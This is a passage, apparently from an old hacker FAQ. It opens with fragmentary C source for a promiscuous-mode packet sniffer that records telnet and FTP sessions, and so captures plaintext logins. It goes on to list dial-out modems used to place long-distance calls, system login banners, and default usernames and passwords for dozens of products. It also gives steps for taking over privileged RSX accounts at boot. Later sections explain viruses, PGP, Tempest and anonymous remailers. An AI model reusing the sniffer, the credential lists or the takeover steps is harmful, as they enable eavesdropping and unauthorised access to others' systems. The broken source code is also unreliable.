     u_long  LASTseq;

struct CREC *CLroot = NULL;

char *Symaddr(ip)
register struct in_addr ip;
{ register struct hostent *he =
      gethostbyaddr((char *)&ip.s_addr, sizeof(struct in_addr),AF_INET);

  return( (he)?(he->h_name):(inet_ntoa(ip)) );

char *TCPflags(flgs)
register u_char flgs;
{ static char iobuf[8];
#define SFL(P,THF,C) iobuf[P]=((flgs & THF)?C:'-')

  SFL(0,TH_FIN, 'F');
  SFL(1,TH_SYN, 'S');
  SFL(2,TH_RST, 'R');
  SFL(4,TH_ACK, 'A');
  SFL(5,TH_URG, 'U');

char *SERVp(port)
register u_int port;
{ static char buf[10];
  register char *p;

   switch(port) {
     case IPPORT_LOGINSERVER: p="rlogin"; break;
     case IPPORT_TELNET:      p="telnet"; break;
     case IPPORT_SMTP:        p="smtp"; break;
     case IPPORT_FTP:         p="ftp"; break;
     default: sprintf(buf,"%u",port); p=buf; break;

char *Ptm(t)
register time_t *t;
{ register char *p = ctime(t);
  p[strlen(p)-6]=0; /* strip " YYYY\n" */

char *NOWtm()
{ time_t tm;
  return( Ptm(&tm) );

#define MAX(a,b) (((a)>(b))?(a):(b))
#define MIN(a,b) (((a)<(b))?(a):(b))

/* add an item */
  register struct CREC *CLtmp = \
        (struct CREC *)malloc(sizeof(struct CREC)); \
  time( &(CLtmp->Time) ); \
  CLtmp->SRCip.s_addr = SIP.s_addr; \
  CLtmp->DSTip.s_addr = DIP.s_addr; \
  CLtmp->SRCport = SPORT; \
  CLtmp->DSTport = DPORT; \
  CLtmp->Length = MIN(LEN,MAXBUFLEN); \
  bcopy( (u_char *)DATA, (u_char *)CLtmp->Data, CLtmp->Length); \
  CLtmp->PKcnt = 1; \
  CLtmp->Next = CLroot; \
  CLtmp->Last = NULL; \
  CLroot = CLtmp; \

register struct CREC *GET_NODE(Sip,SP,Dip,DP)
register struct in_addr Sip,Dip;
register u_int SP,DP;
{ register struct CREC *CLr = CLroot;

  while(CLr != NULL) {
    if( (CLr->SRCport == SP) && (CLr->DSTport == DP) &&
        IPeq(CLr->SRCip,Sip) && IPeq(CLr->DSTip,Dip) )
    CLr = CLr->Next;

 bcopy((u_char *)DATA, (u_char *)&CL->Data[CL->Length],LEN); \
 CL->Length += LEN; \

#define PR_DATA(dp,ln) {    \
  register u_char lastc=0; \
  while(ln-- >0) { \
     if(*dp < 32) {  \
        switch(*dp) { \
            case '\0': if((lastc=='\r') || (lastc=='\n') || lastc=='\0') \
                        break; \
            case '\r': \
            case '\n': fprintf(LOG,"\n     : "); \
                        break; \
            default  : fprintf(LOG,"^%c", (*dp + 64)); \
                        break; \
        } \
     } else { \
        if(isprint(*dp)) fputc(*dp,LOG); \
        else fprintf(LOG,"(%d)",*dp); \
     } \
     lastc = *dp++; \
  } \
  fflush(LOG); \

void END_NODE(CLe,d,dl,msg)
register struct CREC *CLe;
register u_char *d;
register int dl;
register char *msg;
   fprintf(LOG,"\n-- TCP/IP LOG -- TM: %s --\n", Ptm(&CLe->Time));
   fprintf(LOG," PATH: %s(%s) =>", Symaddr(CLe->SRCip),SERVp(CLe->SRCport));
   fprintf(LOG," %s(%s)\n", Symaddr(CLe->DSTip),SERVp(CLe->DSTport));
   fprintf(LOG," STAT: %s, %d pkts, %d bytes [%s]\n",
   fprintf(LOG," DATA: ");
    { register u_int i = CLe->Length;
      register u_char *p = CLe->Data;

   fprintf(LOG,"\n-- \n");

   if(CLe->Next != NULL)
    CLe->Next->Last = CLe->Last;
   if(CLe->Last != NULL)
    CLe->Last->Next = CLe->Next;
    CLroot = CLe->Next;

/* 30 mins (x 60 seconds) */
#define IDLE_TIMEOUT 1800
#define IDLE_NODE() { \
  time_t tm; \
  time(&tm); \
  if(LastTIME<tm) { \
     register struct CREC *CLe,*CLt = CLroot; \
     while(CLe=CLt) { \
       CLt=CLe->Next; \
       if(CLe->Time <tm) \
           END_NODE(CLe,(u_char *)NULL,0,"IDLE TIMEOUT"); \
     } \
  } \

void filter(cp, pktlen)
register char *cp;
register u_int pktlen;
 register struct ip     *ip;
 register struct tcphdr *tcph;

 { register u_short EtherType=ntohs(((struct ether_header *)cp)->ether_type);

   if(EtherType < 0x600) {
     EtherType = *(u_short *)(cp + SZETH + 6);
     cp+=8; pktlen-=8;

   if(EtherType != ETHERTYPE_IP) /* chuk it if its not IP */

    /* ugh, gotta do an alignment :-( */
 bcopy(cp + SZETH, (char *)Packet,(int)(pktlen - SZETH));

 ip = (struct ip *)Packet;
 if( ip->ip_p != IPPROTO_TCP) /* chuk non tcp pkts */
 tcph = (struct tcphdr *)(Packet + IPHLEN);

 if(!( (TCPD == IPPORT_TELNET) ||
       (TCPD == IPPORT_FTP)
   )) return;

 { register struct CREC *CLm;
   register int length = ((IPLEN - (IPHLEN * 4)) - (TCPOFF * 4));
   register u_char *p = (u_char *)Packet;

   p += ((IPHLEN * 4) + (TCPOFF * 4));

 if(debug) {
  fprintf(LOG,"PKT: (%s %04X) ", TCPflags(tcph->th_flags),length);
  fprintf(LOG,"%s[%s] => ", inet_ntoa(IPS),SERVp(TCPS));
  fprintf(LOG,"%s[%s]\n", inet_ntoa(IPD),SERVp(TCPD));

   if( CLm = GET_NODE(IPS, TCPS, IPD, TCPD) ) {


        if( (CLm->Length + length) < MAXBUFLEN ) {
          ADDDATA_NODE( CLm, p,length);
        } else {
          END_NODE( CLm, p,length, "DATA LIMIT");

      if(TCPFL(TH_FIN|TH_RST)) {
          END_NODE( CLm, (u_char *)NULL,0,TCPFL(TH_FIN)?"TH_FIN":"TH_RST" );

   } else {

      if(TCPFL(TH_SYN)) {





/* signal handler
void death()
{ register struct CREC *CLe;

        END_NODE( CLe, (u_char *)NULL,0, "SIGNAL");

    fprintf(LOG,"\nLog ended at => %s\n",NOWtm());
    if(LOG != stdout)

/* opens network interface, performs ioctls and reads from it,
 * passing data to filter function
void do_it()
    int cc;
    char *buf;
    u_short sp_ts_len;

        Pexit(1,"Eth: malloc");

/* this /dev/nit initialization code pinched from etherfind */
    struct strioctl si;
    struct ifreq    ifr;
    struct timeval  timeout;
    u_int  chunksize = CHUNKSIZE;
    u_long if_flags  = NI_PROMISC;

    if((if_fd = open(NIT_DEV, O_RDONLY)) < 0)
        Pexit(1,"Eth: nit open");

    if(ioctl(if_fd, I_SRDOPT, (char *)RMSGD) < 0)
        Pexit(1,"Eth: ioctl (I_SRDOPT)");

    si.ic_timout = INFTIM;

    if(ioctl(if_fd, I_PUSH, "nbuf") < 0)
        Pexit(1,"Eth: ioctl (I_PUSH \"nbuf\")");

    timeout.tv_sec = 1;
    timeout.tv_usec = 0;
    si.ic_cmd = NIOCSTIME;
    si.ic_len = sizeof(timeout);
    si.ic_dp  = (char *)&timeout;
    if(ioctl(if_fd, I_STR, (char *)&si) < 0)
        Pexit(1,"Eth: ioctl (I_STR: NIOCSTIME)");

    si.ic_cmd = NIOCSCHUNK;
    si.ic_len = sizeof(chunksize);
    si.ic_dp  = (char *)&chunksize;
    if(ioctl(if_fd, I_STR, (char *)&si) < 0)
        Pexit(1,"Eth: ioctl (I_STR: NIOCSCHUNK)");

    strncpy(ifr.ifr_name, device, sizeof(ifr.ifr_name));
    ifr.ifr_name[sizeof(ifr.ifr_name) - 1] = '\0';
    si.ic_cmd = NIOCBIND;
    si.ic_len = sizeof(ifr);
    si.ic_dp  = (char *)&ifr;
    if(ioctl(if_fd, I_STR, (char *)&si) < 0)
        Pexit(1,"Eth: ioctl (I_STR: NIOCBIND)");

    si.ic_cmd = NIOCSFLAGS;
    si.ic_len = sizeof(if_flags);
    si.ic_dp  = (char *)&if_flags;
    if(ioctl(if_fd, I_STR, (char *)&si) < 0)
        Pexit(1,"Eth: ioctl (I_STR: NIOCSFLAGS)");

    if(ioctl(if_fd, I_FLUSH, (char *)FLUSHR) < 0)
        Pexit(1,"Eth: ioctl (I_FLUSH)");

    while ((cc = read(if_fd, buf, CHUNKSIZE)) >= 0) {
        register char *bp = buf,
                      *bufstop = (buf + cc);

        while (bp < bufstop) {
            register char *cp = bp;
            register struct nit_bufhdr *hdrp;

            hdrp = (struct nit_bufhdr *)cp;
            cp += sizeof(struct nit_bufhdr);
            bp += hdrp->nhb_totlen;
            filter(cp, (u_long)hdrp->nhb_msglen);
    Pexit((-1),"Eth: read");
 /* Authorize your program, generate your own password and uncomment here */
/* #define AUTHPASSWD "EloiZgZejWyms" */

void getauth()
{ char *buf,*getpass(),*crypt();
  char pwd[21],prmpt[81];

    sprintf(prmpt,"(%s)UP? ",ProgName);
void main(argc, argv)
int argc;
char **argv;
    char   cbuf[BUFSIZ];
    struct ifconf ifc;
    int    s,


 /*     getauth(); */

    while((ac<argc) && (argv[ac][0] == '-')) {
       register char ch = argv[ac++][1];
       switch(toupper(ch)) {
            case 'I': device=argv[ac++];
            case 'F': if(!(LOG=fopen((LogName=argv[ac++]),"a")))
                         Zexit(1,"Output file cant be opened\n");
            case 'B': backg=1;
            case 'D': debug=1;
            default : fprintf(ERR,
                        "Usage: %s [-b] [-d] [-i interface] [-f file]\n",

    if(!device) {
        if((s=socket(AF_INET, SOCK_DGRAM, 0)) < 0)
            Pexit(1,"Eth: socket");

        ifc.ifc_len = sizeof(cbuf);
        ifc.ifc_buf = cbuf;
        if(ioctl(s, SIOCGIFCONF, (char *)&ifc) < 0)
            Pexit(1,"Eth: ioctl");

        device = ifc.ifc_req->ifr_name;

    fprintf(ERR,"Using logical device %s [%s]\n",device,NIT_DEV);
    fprintf(ERR,"Output to %s.%s%s",(LOG)?LogName:"stdout",
            (debug)?" (debug)":"",(backg)?" Backgrounding ":"\n");


    signal(SIGINT, death);

    if(backg && debug) {
         fprintf(ERR,"[Cannot bg with debug on]\n");

    if(backg) {
        register int s;

        if((s=fork())>0) {
           fprintf(ERR,"[pid %d]\n",s);
        } else if(s<0)

        if( (s=open("/dev/tty",O_RDWR))>0 ) {
                ioctl(s,TIOCNOTTY,(char *)NULL);
    fprintf(LOG,"\nLog started at => %s [pid %d]\n",NOWtm(),getpid());


20. What is an Internet Outdial?

An Internet outdial is a modem connected to the Internet than you can
use to dial out.  Normal outdials will only call local numbers.  A GOD
(Global OutDial) is capable of calling long distance.  Outdials are an
inexpensive method of calling long distance BBS's.

21. What are some Internet Outdials?

This FAQ answer is excerpted from CoTNo #5:

			Internet Outdial List v3.0
			 by Cavalier and DisordeR

There are several lists of Internet outdials floating around the net these
days. The following is a compilation of other lists, as well as v2.0 by
DeadKat(CoTNo issue 2, article 4). Unlike other lists where the author
just ripped other people and released it, we have sat down and tested
each one of these. Some of them we have gotten "Connection Refused" or
it timed out while trying to connect...these have been labeled dead.

			   Working Outdials
			    as of 12/29/94

  NPA          IP Address                   Instructions
  ---          ----------                   ------------
  215                modem

  217       atdt x,xxxXXXXX

  218              atdt9,xxxXXXX

  303 3020

  412 2600    Press D at the prompt

  412            tn3270,

  413        Ctrl } gets ENTER NUMBER: xxxxxxx


  502                connect kecnet
                                            @ dial: "outdial2400 or out"

  602        atdt8,,,,,[x][yyy]xxxyyyy



  713               atdt x,xxxXXXX

  714            atdt[area]0[phone]

  804           connect hayes, 9,,xxx-xxxx

  804      connect telnet
                                            connect hayes

                             Need Password

  206    This is an unbroken password
  303          yuma.ACNS.ColoState.EDU      login: modem
  404                .modem8|CR
  415          annex132-1.EECS.Berkeley.EDU "dial1" or "dial2" or "dialer1"
  514          cartier.CC.UMontreal.CA      externe,9+number
  703          dial2400 -aa

                            Dead/No Connect

  201          idsnet
  204         "dial12" or "dial24"
  212          B719-7e.NYU.EDU              dial3/dial12/dial24
  212          B719-7f.NYU.EDU              dial3/dial12/dial24
  212          DIALOUT-1.NYU.EDU            dial3/dial12/dial24
  212          FREE-138-229.NYU.EDU         dial3/dial12/dial24
  212          UP19-4b.NYU.EDU              dial3/dial12/dial24
  215      "atz" "atdt 9xxxyyyy"
  218               "cli" "rlogin modem"
                                            at "login:"  type "modem"
  218              Hayes 9,XXX-XXXX
  307               Hayes  0,XXX-XXXX
  313                     dial2400-aa or dial1200-aa
                                            or dialout
  404       ".modem8" or ".dialout"
  416         atdt 9,,,,, xxx-xxxx
  416        modem
  514          pacx.CC.UMontreal.CA         externe#9 9xxx-xxxx
  609 (X= 1 - 4)   Hayes
  609  (x = 1 to 4)
  614   "dial"
  615                  dial2400 D 99k #
  615          MATHSUN23.MATH.UTK.EDU       dial 2400  d  99Kxxxxxxx
  617                  2400baud
  617          isdn3.Princeton.EDU
  617          jadwingymkip0.Princeton.EDU
  617          lord-stanley.Princeton.EDU
  617          mpanus.Princeton.EDU
  617          old-dialout.Princeton.EDU
  617          stagger.Princeton.EDU
  617          waddle.Princeton.EDU
  619                  atdt [area][phone]
  619              "dialout"
  713               "c modem96"  "atdt 9xxx-xxxx"
                                            or "Hayes"
  714             atdt 8xxx-xxxx
  801              "C Modem"
  902             "dialout"
  916          connect hayes/dialout
  916  UCDNET <ret> C KEYCLUB <ret>
  ???              (1 - 4)
  ???                  nue, X to discontinue, ? for Help
  ???                  ntu            <none>
  ???           cs8005
  ???            guest           <none>
  ???           u349633
  ???           ?
  ???          guest           <none>
  ???            "CALL" or "call"

If you find any of the outdials to have gone dead, changed commands,
or require password, please let us know so we can keep this list as
accurate as possible. If you would like to add to the list, feel free
to mail us and it will be included in future versions of this list,
with your name beside it. Have fun...

[Editors note: Updates have been made to this document after
               the original publication]

22. What is this system?

IBM AIX Version 3 for RISC System/6000
(C) Copyrights by IBM and by others 1982, 1990.

[You will know an AIX system because it is the only Unix system that]
[clears the screen and issues a login prompt near the bottom of the]


Once in, type GO MAIN

CDC Cyber

88/02/16. 02.36.53. N265100
CSUS CYBER 170-730.                     NOS 2.5.2-678/3.

You would normally just hit return at the family prompt.  Next prompt is:


CISCO Router
                             FIRST BANK OF TNO
                           95-866 TNO VirtualBank
                          REMOTE Router -  TN043R1

                                Console Port

                                SN - 00000866


DECserver 700-08 Communications Server V1.1 (BL44G-11A) - LAT V5.1

(c) Copyright 1992, Digital Equipment Corporation - All Rights Reserved

Please type HELP if you need assistance

Enter username> TNO


Hewlett Packard MPE-XL







Lantronix Terminal Server
Lantronix ETS16 Version V3.1/1(940623)

Type HELP at the 'Local_15> ' prompt for assistance.

Login password>

Meridian Mail (Northern Telecom Phone/Voice Mail System)
                            MMM       MMMERIDIAN
                           MMMMM     MMMMM
                         MMMMMM   MMMMMM
                        MMM  MMMMM  MMM     MMMMM     MMMMM
                      MMM   MMM   MMM     MMMMMM   MMMMMM
                     MMM         MMM     MMM MMM MMM MMM
                    MMM         MMM     MMM  MMMMM  MMM
                   MMM         MMM     MMM   MMM   MMM
                  MMM         MMM     MMM         MMM
                 MMM         MMM     MMM         MMM
                MMM         MMM     MMM         MMM
               MMM         MMM     MMM         MMM
              MMM         MMM     MMM         MMM

                                          Copyright (c) Northern Telecom, 1991

Novell ONLAN
<Control-A aka smiley face>N

[To access the systems it is best to own a copy of ONLAN/PC]

<Control-A aka smiley face>P

[To access the systems it is best to own a copy of PCAnywhere Remote]


<any text>



Primenet V 2.3  (system)
LOGIN           (you)
User id?        (system)
SAPB5           (you)
Password?       (system)
DROWSAP         (you)
OK,             (system)

ROLM CBXII  RELEASE 9004.2.34 RB295 9000D IBMHO27568
12:38:47 ON WEDNESDAY 2/15/1995




MARAUDER10292  01/09/85(^G) 1 03/10/87  00:29:47

Login: root

Login: browse

Software Version: G3s.b16.2.2

Terminal Type (513, 4410, 4425): [513]

NIH Timesharing

NIH Tri-SMP 7.02-FF  16:30:04 TTY11
system 1378/1381/1453 Connected to Node Happy(40) Line # 12
Please LOGIN



                                          TBVM2 VM/ESA Rel 1.1     PUT 9200

Fill in your USERID and PASSWORD and press ENTER
(Your password will not appear when you type it)
USERID   ===>


Xylogics Annex Communications Server
Annex Command Line Interpreter   *   Copyright 1991 Xylogics, Inc.

Checking authorization, Please wait...      -
Annex username: TNO                          - Optional security check
Annex password:                             -  Not always present

Permission granted

23. What are the default accounts for XXX?

guest           guest

qsecofr         qsecofr         /* master security officer */
qsysopr         qsysopr         /* system operator         */
qpgmr           qpgmr           /* default programmer      */


ibm             password
ibm             2222
ibm             service
qsecofr         1111111
qsecofr         2222222
qserv           qserv
qsvr            qsvr
secofr          secofr
qsrv            ibmce1


Dynix (The library software, not the UnixOS)
(Type 'later' to exit to the login prompt)
setup           <no password>
library         <no password>
circ            <Social Security Number>

Hewlett Packard MPE-XL
HELLO           MGR.SYS
MGR             CAROLIAN
MGR             CCC
MGR             CNAS
MGR             CONV
MGR             COGNOS
MGR             HPDESK
MGR             HPWORD
FIELD           HPWORD
MGR             HPOFFICE
MAIL            HPOFFICE
WP              HPOFFICE
MGR             HPONLY
FIELD           HPP187
MGR             HPP187
MGR             HPP189
MGR             HPP196
MGR             INTX3
MGR             ITF3000
MANAGER         ITF3000
MAIL            MAIL
MGR             NETBASE
MGR             REGO
MGR             RJE
MGR             ROBELLE
MGR             SECURITY
MGR             SYS
PCUSER          SYS
MAIL            TELESUP
MGR             TELESUP
SYS             TELESUP
MGE             VESOFT
MGE             VESOFT
MGR             WORD
MGR             XLSERVER

Common jobs are Pub, Sys, Data
Common passwords are HPOnly, TeleSup, HP, MPE, Manager, MGR, Remote

Major BBS
Sysop           Sysop

Mitel PBX

root            NeXT
signa           signa
me              <null>  (Rumored to be correct, not checked)

Nomadic Computing Environment (NCE) on the Tadpole Technologies SPARCBook3
fax             <no password>

DSA             # Desquetop System Administrator

PBX             PBX
NETOP           <null>

Radio Shack Screen Savers

CBX Defaults

op              op
op              operator
su              super
admin           pwp
eng             engineer

PhoneMail Defaults

sysadmin        sysadmin
tech            tech
poll            tech

1,1/system      (Directory [1,1] Password SYSTEM)

Default accounts for Micro/RSX:


Alternately you can hit <CTRL-Z>  when the boot sequence asks you for the
date and create an account using:

	    or  RUN $ACNT

(Numbers below 10 {oct} are privileged)

Reboot and wait for the date/time question. Type ^C and at the MCR prompt,
type "abo at." You must include the . dot!

If this works, type "acs lb0:/blks=1000" to get some swap space so the
new step won't wedge.

type " run $acnt" and change the password of any account with a group
number of 7 or less.

You may find that the ^C does not work. Try ^Z and ESC as well.
Also try all 3 as terminators to valid and invalid times.

If none of the above work, use the halt switch to halt the system,
just after a invalid date-time.  Look for a user mode PSW 1[4-7]xxxx.
then deposit 177777 into R6, cross your fingers, write protect the drive
and continue the system.  This will hopefully result in indirect blowing
up...  And hopefully the system has not been fully secured.

SGI Irix
4DGifts         <no password>
guest           <no password>
demos           <no password>
lp              <no password>
nuucp           <no password>
tour            <no password>
tutor           <no password>

System 75
bcim            bcimpw
bciim           bciimpw
bcms            bcmspw, bcms
bcnas           bcnspw
blue            bluepw
browse          looker, browsepw
craft           crftpw, craftpw, crack
cust            custpw
enquiry         enquirypw
field           support
inads           indspw, inadspw, inads
init            initpw
kraft           kraftpw
locate          locatepw
maint           maintpw, rwmaint
nms             nmspw
rcust           rcustpw
support         supportpw
tech            field

Taco Bell
rgm             rollout
tacobell        <null>

Verifone Junior 2.05
Default password: 166816

field           service
systest         utep

XON / XON Junior
Default password: 166831

24. What port is XXX on?

The file /etc/services on most Unix machines lists the port
assignments for that machine.  For a complete list of port
assignments, read RFC (Request For Comments) 1700 "Assigned Numbers"

25.  What is a trojan/worm/virus/logic bomb?

This FAQ answer was written by Theora:


Remember the Trojan Horse?  Bad guys hid inside it until they could
get into the city to do their evil deed.  A trojan computer program is
similar.  It is a program which does an unauthorized function, hidden
inside an authorized program.  It does something other than what it
claims to do, usually something malicious (although not necessarily!),
and it is intended by the author to do whatever it does.  If it's not
intentional, its called a 'bug' or, in some cases, a feature :) Some
virus scanning programs detect some trojans.  Some virus scanning
programs don't detect any trojans.  No virus scanners detect all


A virus is an independent program which reproduces itself.  It may
attach to other programs, it may create copies of itself (as in
companion viruses).  It may damage or corrupt data, change data, or
degrade the performance of your system by utilizing resources such as
memory or disk space.  Some virus scanners detect some viruses.  No
virus scanners detect all viruses.  No virus scanner can protect
against "any and all viruses, known and unknown, now and forevermore".


Made famous by Robert Morris, Jr. , worms are programs which reproduce
by copying themselves over and over, system to system, using up
resources and sometimes slowing down the systems.  They are self
contained and use the networks to spread, in much the same way viruses
use files to spread.  Some people say the solution to viruses and
worms is to just not have any files or networks.  They are probably
correct.  We would include computers.

Logic Bomb:

Code which will trigger a particular form of 'attack' when a
designated condition is met.  For instance, a logic bomb could delete
all files on Dec.  5th.  Unlike a virus, a logic bomb does not make
copies of itself.

26.  How can I protect myself from viruses and such?

This FAQ answer was written by Theora:

The most common viruses are boot sector infectors.  You can help protect
yourself against those by write protecting all disks which you do not
need write access to.  Definitely keep a set of write protected floppy
system disks.  If you get a virus, it will make things much simpler.
And, they are good for coasters.  Only kidding.

Scan all incoming files with a recent copy of a good virus scanner.
Among the best are F-Prot, Dr.  Solomon's Anti-virus Toolkit, and
Thunderbyte Anti-Virus.  AVP is also a good program.  Using more than
one scanner could be helpful.  You may get those one or two viruses that
the other guy happened to miss this month.

New viruses come out at the rate of about 8 per day now.  NO scanner can
keep up with them all, but the four mentioned here do the best job of
keeping current.  Any _good_ scanner will detect the majority of common
viruses.  No virus scanner will detect all viruses.

Right now there are about 5600 known viruses.  New ones are written all
the time.  If you use a scanner for virus detection, you need to make
sure you get frequent updates.  If you rely on behavior blockers, you
should know that such programs can be bypassed easily by a technique
known as tunnelling.

You may want to use integrity checkers as well as scanners.  Keep in
mind that while these can supply added protection, they are not

You may want to use a particular kind of scanner, called resident
scanners.  Those are programs which stay resident in the computer memory
and constantly monitor program execution (and sometimes even access to
the files containing programs).  If you try to execute a program, the
resident scanner receives control and scans it first for known viruses.
Only if no such viruses are found, the program is allowed to execute.

Most virus scanners will not protect you against many kinds of trojans,
any sort of logic bombs, or worms.  Theoretically, they _could_ protect
you against logic bombs and/or worms, by addition of scanning strings;
however, this is rarely done.

The best, actually only way, to protect yourself is to know what you
have on your system and make sure what you have there is authorized by
you.  Make frequent backups of all important files.  Keep your DOS
system files write protected.  Write protect all disks that you do not
need to write to.  If you do get a virus, don't panic.  Call the support
department of the company who supplies your anti-virus product if you
aren't sure of what you are doing.  If the company you got your
anti-virus software from does not have a good technical support
department, change companies.

The best way to make sure viruses are not spread is not to spread them.
Some people do this intentionally.  We discourage this. Viruses aren't

27.  Where can I get more information about viruses?

This FAQ answer was written by Theora:

Assembly language programming books illustrate the (boring) aspect of
replication and have for a long time.  The most exciting/interesting
thing about viruses is all the controversy around them.  Free speech,
legality, and cute payloads are a lot more interesting than "find first,
find next" calls.  You can get information about the technical aspects
of viruses, as well as help if you should happen to get a virus, from
the virus-l FAQ, posted on comp. virus every so often. You can also pick
up on the various debates there.  There are alt.virus type newsgroups,
but the level of technical expertise is minimal, and so far at least
there has not been a lot of real "help" for people who want to get -rid-
of a virus.

There are a lot of virus experts.  To become one, just call yourself
one.  Only Kidding.  Understanding viruses involves understanding
programming, operating systems, and their interaction.  Understanding
all of the 'Cult of Virus' business requires a lot of discernment. There
are a number of good papers available on viruses, and the Cult of Virus;
you can get information on them from just about anyone listed in the
virus-l FAQ.  The FTP site is a pretty
reliable site for programs and text.

28. What is Cryptoxxxxxxx?

This FAQ answer is excerpted from: Computer Security Basics
                                   by Deborah Russell
                                   and G.T. Gengemi Sr.

A message is called either plaintext or cleartext.  The process of
disguising a message in such a way as to hide its substance is called
encryption.  An encrypted message is called ciphertext.  The process
of turning ciphertext back into plaintext is called decryption.

The art and science of keeping messages secure is called cryptography,
and it is practiced by cryptographers.  Cryptanalysts are
practitioners of cryptanalysis, the art and science of breaking
ciphertext, i.e. seeing through the disguise.  The branch of
mathematics embodying both cryptography and cryptanalysis is called
cryptology, and it's practitioners are called cryptologists.

29. What is PGP?

This FAQ answer is excerpted from: PGP(tm) User's Guide
                                   Volume I: Essential Topics
                                   by Philip Zimmermann

PGP(tm) uses public-key encryption to protect E-mail and data files.
Communicate securely with people you've never met, with no secure
channels needed for prior exchange of keys.  PGP is well featured and
fast, with sophisticated key management, digital signatures, data
compression, and good ergonomic design.

Pretty Good(tm) Privacy (PGP), from Phil's Pretty Good Software, is a
high security cryptographic software application for MS-DOS, Unix,
VAX/VMS, and other computers.  PGP allows people to exchange files or
messages with privacy, authentication, and convenience.  Privacy means
that only those intended to receive a message can read it.
Authentication means that messages that appear to be from a particular
person can only have originated from that person. Convenience means
that privacy and authentication are provided without the hassles of
managing keys associated with conventional cryptographic software.  No
secure channels are needed to exchange keys between users, which makes
PGP much easier to use.  This is because PGP is based on a powerful
new technology called "public key" cryptography.

PGP combines the convenience of the Rivest-Shamir-Adleman (RSA)
public key cryptosystem with the speed of conventional cryptography,
message digests for digital signatures, data compression before
encryption, good ergonomic design, and sophisticated key management. 
And PGP performs the public-key functions faster than most other
software implementations.  PGP is public key cryptography for the

30. What is Tempest?

Tempest stands for Transient Electromagnetic Pulse Surveillance

Computers and other electronic equipment release interference to their
surrounding environment.  You may observe this by placing two video
monitors close together.  The pictures will behave erratically until you
space them apart.

What is important for an observer is the emission of digital pulses (1s
and 0s) as these are used in computers.  The channel for this radiation
is in two arrangements, radiated emissions and conducted emissions.
Radiated emissions are assembled when components in electrical devices
form to act as antennas.  Conducted emissions are formed when radiation
is conducted along cables and wires.

Although most of the time these emissions are simply annoyances, they
can sometimes be very helpful.  Suppose we wanted to see what project a
target was working on.  We could sit in a van outside her office and use
sensitive electronic equipment to attempt to pick up and decipher the
radiated emissions from her video monitor.  These emissions normally
exist at around 55-245 Mhz and can be picked up as far as one kilometer

A monitoring device can distinguish between different sources emitting
radiation because the sources emanating the radiation are made up of
dissimilar elements and so this coupled with other factors varies the
emitted frequency.  For example different electronic components in VDUs,
different manufacturing processes involved in reproducing the VDUs,
different line syncs, etc...  By synchronizing our raster with the
targets raster we can passively draw the observed screen in real-time.
This technology can be acquired by anyone, not just government agencies.

The target could shield the emissions from her equipment or use
equipment that does not generate strong emissions.  However, Tempest
equipment is not legal for civilian use in the United States.

Tempest is the US Government program for evaluation and endorsement of
electronic equipment that is safe from eavesdropping.  Tempest
certification refers to the equipment having passed a testing phase and
agreeing to emanations rules specified in the government document NACSIM
5100A (Classified).  This document sets forth the emanation levels that
the US Government believes equipment can give off without compromising
the information it is processing.

31. What is an anonymous remailer?

This FAQ answer was written by Raph Levien:

An anonymous remailer is a system on the Internet that allows you to
send e-mail or post messages to Usenet anonymously.

There are two sorts of remailers in widespread use.  The first is the style, the second is the cypherpunk style.  The remailer
at is immensely popular, with over 160,000 users over its
lifetime, and probably tens of thousands of messages per day.  Its main
advantage is that it's so easy to use.  The cypherpunks mailers, which
provide much better security, are becoming more popular, however, as
there is more awareness of them.

The user of the system first needs to get an anonymous id.
This is done either by sending mail to somebody who already has one (for
example, by replying to a post on Usenet), or sending mail to  In either case, penet will mail back the new anon
id, which looks like  If an123456 then sends
mail to another user of the system, then this is what happens:

1.  The mail is transported to, which resides somewhere in
    the vicinity of Espoo, Finland.

2.  These steps are carried out by software running on
    Penet first looks up the email address of the sender in its
    database, then replaces it with the numeric code.  All other
    information about the sender is removed.

3.  Then, penet looks up the number of the recipient in the same
    database, and replaces it with the actual email address.

4.  Finally, it sends the mail to the actual email address of the

There are variations on this scheme, such as posting to Usenet (in which
step 3 is eliminated), but that's the basic idea.

Where uses a secret database to match anon id's to actual
email addresses, the cypherpunks remailers use cryptography to hide the
actual identities.  Let's say I want to send email to a real email
address, or post it to Usenet, but keep my identity completely hidden.
To send it through one remailer, this is what happens.

1.  I encrypt the message and the recipient's address, using the public
    key of the remailer of my choice.

2.  I send the email to the remailer.

3.  When the remailer gets the mail, it decrypts it using its private
    key, revealing as plaintext the message and the recipient's address.

4.  All information about the sender is removed.

5.  Finally, it sends it to the recipient's email address.

If one trusts the remailer operator, this is good enough.  However, the
whole point of the cypherpunks remailers is that you don't _have_ to
trust any one individual or system.  So, people who want real security
use a chain of remailers.  If any one remailer on the "chain" is honest,
then the privacy of the message is assured.

To use a chain of remailers, I first have to prepare the message, which
is nestled within multiple layers of encryption, like a Russian
matryoshka doll.  Preparing such a message is tedious and error prone,
so many people use an automated tool such as my premail package.
Anyway, after preparing the message, it is sent to the first remailer in
the chain, which corresponds to the outermost layer of encryption.  Each
remailer strips off one layer of encryption and sends the message to the
next, until it reaches the final remailer.  At this point, only the
innermost layer of encryption remains.  This layer is stripped off,
revealing the plaintext message and recipient for the first time.  At
this point, the message is sent to its actual recipient.

Remailers exist in many locations.  A typical message might go through
Canada, Holland, Berkeley, and Finland before ending up at its final

Aside from the difficulty of preparing all the encrypted messages,
another drawback of the cypherpunk remailers is that they don't easily
allow responses to anonymous mail.  All information about the sender is
stripped away, including any kind of return address.  However the new
alias servers promise to change that.  To use an alias server, one
creates a new email address (mine is  Mail sent to
this new address will be untraceably forwarded to one's real address.

To set this up, one first encrypts one's own email address with multiple
layers of encryption.  Then, using an encrypted channel, one sends the
encrypted address to the alias server, along with the nickname that one
would like.  The alias server registers the encrypted address in the
database.  The alias server then handles reply mail in much the same way
as, except that the mail is forwarded to the chain of
anonymous remailers.

For maximum security, the user can arrange it so that, at each link in
the chain, the remailer adds another layer of encryption to the message
while removing one layer from the email address.  When the user finally
gets the email, it is encrypted in multiple layers.  The matryoshka has
to be opened one doll at a time until the plaintext message hidden
inside is revealed.

One other point is that the remailers must be reliable in order for all
this to work.  This is especially true when a chain of remailers is used
-- if any one of the remailers is not working, then the message will be
dropped.  This is why I maintain a list of reliable remailers. By
choosing reliable remailers to start with, there is a good chance the
message will finally get there.

32. What are the addresses of some anonymous remailers?

The most popular and stable anonymous remailer is,
operated by Johan Helsingus.  To obtain an anonymous ID, mail

The server at does it's best to remove any headers or
other information describing its true origin.  You should make an effort
and try to omit information detailing your identity within such messages
as quite often signatures not starting with "--" are including within
your e-mail, this of course is not what you want.  You can send messages

